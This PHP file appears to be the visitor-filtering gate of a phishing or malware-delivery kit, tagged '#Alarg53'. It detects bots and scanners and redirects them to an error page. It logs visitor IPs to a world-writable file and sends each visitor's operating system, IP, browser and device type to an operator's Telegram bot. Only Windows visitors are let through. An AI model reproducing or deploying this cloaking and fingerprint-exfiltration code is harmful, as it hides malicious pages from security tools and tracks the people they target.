<?php
include_once 'settings.php';
include_once 'Telegram.php';
include_once 'ip.php';

if (!function_exists('sendTelegramMessage')) {
    function sendTelegramMessage($message, $token = null, $chat_id = null) {
        if ($token === null || $chat_id === null) {
            $token = "default_token";
            $chat_id = "default_chat_id";
        }

        $url = "https://api.telegram.org/bot$token/sendMessage";
        $params = [
            "chat_id" => $chat_id,
            "text" => $message,
        ];

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($ch);

        if ($response === false) {
            $error = curl_error($ch);
            error_log("Failed to send message to Telegram. Error: " . $error);
        }

        curl_close($ch);
    }
}

// #Alarg53
$clientIP = getClientIP();

// #Alarg53
$data = [];
$banReason = "";

// #Alarg53
if (isBot($clientIP, $_SERVER['HTTP_USER_AGENT'], $data, $banReason)) {
    // Log IP address and browser info
    $iplogfile = $logSettings['iplogfile'];
    $ipaddress = $_SERVER['REMOTE_ADDR'];
    $timestamp = date('m/d/Y h:i:s');
    $browser = $_SERVER['HTTP_USER_AGENT'];
    $fp = fopen($iplogfile, 'a+');
    chmod($iplogfile, 0777);
    fwrite($fp, '[' . $timestamp . ']: ' . $ipaddress . ' ' . $browser . "\r\n");
    fclose($fp);

    $errorMessage = "Access denied. IP: $clientIP\nReason: $banReason";
    sendTelegramMessage($errorMessage, $telegramSettings['token'], $telegramSettings['chat_id']);

    // #Alarg53
    echo '<script>window.location.href = "' . $fileSettings['error_page'] . '";</script>';
    exit;
}

// #Alarg53
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if (strpos($referer, $telegramSettings['website_url']) !== false) {
    // #Alarg53
}

// #Alarg53
$os = getOS();
$clientIP = getClientIP();
$website_url = $telegramSettings['website_url'];
$browser = $_SERVER['HTTP_USER_AGENT'];

// #Alarg53
sendTelegramMessage("Operating System: $os\nIP Address: $clientIP\nBrowser: $browser\nDevice Type: " . getDeviceType($browser) . "\nWebsite: " . $website_url, $telegramSettings['token'], $telegramSettings['chat_id']);

$supportedOS = ["Windows", "Windows 10", "Windows 8.1", "Windows 8", "Windows 7", "Windows Vista", "Windows Server 2003/XP x64", "Windows XP", "Windows 2000", "Windows ME", "Windows 98", "Windows 95", "Windows 3.11"];

if (!in_array($os, $supportedOS)) {
    $clientIP = getClientIP();
    $website_url = $telegramSettings['website_url'];

    $banReason = "Access denied. OS: $os\nReason: Unsupported operating system.";
    $banReason .= "\nIP Address: $clientIP";
    $banReason .= "\nBrowser: $browser";
    $banReason .= "\nDevice Type: " . getDeviceType($browser);
    $banReason .= "\nWebsite: " . $website_url;

    $errorMessage = "Access denied. OS: $os\nReason: Unsupported operating system.";
    $errorMessage .= "\nIP Address: $clientIP";
    $errorMessage .= "\nBrowser: $browser";
    $errorMessage .= "\nDevice Type: " . getDeviceType($browser);
    $errorMessage .= "\nWebsite: " . $website_url;

    sendTelegramMessage($errorMessage, $telegramSettings['token'], $telegramSettings['chat_id']);

    // #Alarg53
    echo '<script>window.location.href = "' . $fileSettings['error_page'] . '";</script>';
    exit;
}
?>